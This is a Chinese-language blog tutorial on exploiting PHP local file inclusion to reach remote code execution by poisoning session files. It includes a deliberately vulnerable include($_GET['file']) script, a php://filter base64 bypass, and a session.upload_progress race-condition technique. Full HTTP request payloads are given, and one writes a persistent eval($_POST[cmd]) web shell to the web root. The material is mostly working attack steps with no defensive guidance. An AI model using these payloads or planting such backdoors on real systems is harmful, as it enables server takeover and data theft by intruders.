LFI包含sessionRCE

原理

LFI能包含session文件,而session文件内容可控时,可直接RCE

常见的默认路径

1
2
3
4
5
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/tmp

命名格式

1
sess_[phpsessid]

phpsessid可以在发送的cookie字段中可以看到

session文件保存方式

主要有这两种定义方式

1
2
3
session.serialize_hander = php		//(所有版本默认为这个)

session.serialize_hander = php_serialize //php5.5之后才有的方式

然后我们来查看一下这两种处理方式有什么区别


测试环境

1
2
3
4
5
#sess.php
<?php
$uname = $_GET['uname'];
$_SESSION['uname'] = $uname;
echo $_SESSION['uname'];
1
2
3
#php.ini
open_basedir = /var/www/html:/tmp/sess_PHPSESSID
session.save_path = "/tmp/sess_PHPSESSID"
1
$ chmod 777 -R /tmp

//好像不设置这个无法创建session文件


先看第一种处理方式得到的文件内容

1
2
#生成的session文件
uname|s:7:"nice123";

可以看出格式为

1
变量名|类型:长度:"内容"

再来看第二种

1
2
#生成的session文件
a:1:{s:5:"uname";s:7:"nice123";}

可以看到,是这个变量进行反序列化

LFI session

写一个 简单的LFI作为环境

1
2
3
#lfi.php
<?php
include($_GET['file']);

可以看到成功包含了sess文件

如果我把uname的值改为php脚本会如何呢

payload

1
/?uname=<?php phpinfo();?>

可以看到成功执行了注入的php脚本

绕过限制

肯定有很多人会问,现实中哪有这么刚好的条件,如果没有session_start() ,如果有waf怎么办, 接下来就来试试绕过那些限制

储存session时以base64编码

1
$_SESSION['uname'] = base64_encode($uname);

可以使用php伪协议进行decode来绕过

payload

1
php://filter/convert.base64-decode/resource=session文件名

这里要注意一下base64编码解码的问题
比如这里将 session中的uname设为<?php phpinfo();?>,然后尝试直接包含,得到内容(由于uname刚好满足,所以就改成变量名为unamei来创造不满足条件)

1
a:1:{s:6:"unamei";s:24:"PD9waHAgcGhwaW5mbygpOz8+";}

然后用php伪协议解码,发现没有成功,出现了乱码

1
k[:�v�z+6������������������

这个就设计到base64编码原理的问题,我们进行base encode是变量的值,解码的却是整个文件,当需要正确解码base64字符串前面的有效位数是4的倍数的时候,就可以成功解码(有效字符指的是base64编码后可能出现的字符,具体可参照这张表)

可以看到,改session文件中的字符串中,要正确解析的字符串前的有效字符数量为13,并不满足4的倍数的要求

可以发现,我们可以控制的仅是变量的值,并且是base64编码后的,所以肯定是4的倍数,无法和13拼成4的倍数,但是注意到,还有一个数值会跟着改变,那就是字符串中表示变量值的长度的数字,所以我们可以改变变量的长度来改变数字的位数,从而凑出4的倍数

没有 session_start()

很多时候存在LFI的时候,可能没有用到session,那么我们如何来创造session文件并且控制其中的内容呢

在php.ini中有以下配置

session.use_strick_mode

当其为0的时候,用户可以自定义session id。比如,在Cookie中设置PHPSESSID=gufufu,PHP将会在服务器上创建一个文件 sess_ gufufu

但这个技巧要满足一个条件,就是要有session_start()

那么没有这个初始化的操作,就不能在服务器上创建文件了吗?很意外是可以的,来看看php.ini里面关键的几个配置项

session.auto_start

如果开启这个选项,则php在接受请求的时候会自动初始化session,不需要执行session_start()

但是默认情况下 这个选项是关闭的

session.upload_progress.enabled = on

默认开启这个选项,表示upload_progress功能开始,PHP能够在每一个文件上 传时监测上传进度

session.upload_progress.cleanup = on

默认开启这个选项,表示当文件上传结束后,php会立即清空对应session文件中的内容,这个选项十分重要

session.upload_progress.prefix = “upload_progress_”

session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”

当一个上传在处理中,同时post一个与ini中设置的post请求时,它会在session中添加一组数据(系统自动初始化session),索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值

session.upload_progress.freq = “1%”+session.upload_progress.min_freq = “1”

选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

session.upload_progress

php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。 而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。

试试官方给的例子

1
2
3
4
5
6
7
#upload.php
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

然后上传文件,并且抓包自定义sessionid

可以看出,当上传包中存在一个键值是session.upload_progress.name的值的时候,系统会自动初始化session

然后在储存session的文件夹中可以看到自动创建的session文件,但是cat一下内容,却发现是空的 ,这是因为session.upload_progress.cleanup = on

默认开启这个选项,表示当文件上传结束后,php会立即清空对应session文件中的内容,这个时候只要利用条件竞争,来不断创造一个可用的后门session即可

比如可以这样利用

构造一个利用的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /index.php HTTP/1.1
Host: main.gufufu.top:10001
Content-Length: 302
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://main.gufufu.top:10001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB8AVtwYIhZSo33MU
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://main.gufufu.top:10001/upload.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Cookie: PHPSESSID=shell
Connection: close

------WebKitFormBoundaryB8AVtwYIhZSo33MU
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

this_is_inject
------WebKitFormBoundaryB8AVtwYIhZSo33MU
Content-Disposition: form-data; name="file1"; filename="token.txt"
Content-Type: text/plain

kkk§§
------WebKitFormBoundaryB8AVtwYIhZSo33MU

这样就能创造出一个名为sess_helloworld的sess文件,并且其中的内容大致如下

1
a:1:{s:33:"upload_progress_this_is_injection";a:5:{s:10:"start_time";i:1601720758;s:14:"content_length";i:319;s:15:"bytes_processed";i:319;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:9:"token.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1601720758;s:15:"bytes_processed";i:319;}}}}

所以当我们把this_is_injection换成要执行的php脚本,比如<?php phpinfo();?> 即可

注意,文件传输过程中,文件越大,文件传输的时间越久,sess保留的时间也越久,也更容易条件竞争成功,所以在实际运用的过程中,第二个文件在一定范围内尽可能大些,这样shell也更稳定,当然,也可以直接用 php写一个后门,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php HTTP/1.1
Host: main.gufufu.top:10001
Content-Length: 302
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://main.gufufu.top:10001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB8AVtwYIhZSo33MU
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://main.gufufu.top:10001/upload.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Cookie: PHPSESSID=shell
Connection: close

------WebKitFormBoundaryB8AVtwYIhZSo33MU
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

------WebKitFormBoundaryB8AVtwYIhZSo33MU
Content-Disposition: form-data; name="file1"; filename="token.txt"
Content-Type: text/plain

kkk§§
------WebKitFormBoundaryB8AVtwYIhZSo33MU

然后进行条件竞争,并且对文件包含进行疯狂请求,当出现phpinfo的信息的时候,后门也写成功了,然后就直接利用写好的后门rce即可

参考

1
https://www.anquanke.com/post/id/201177

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!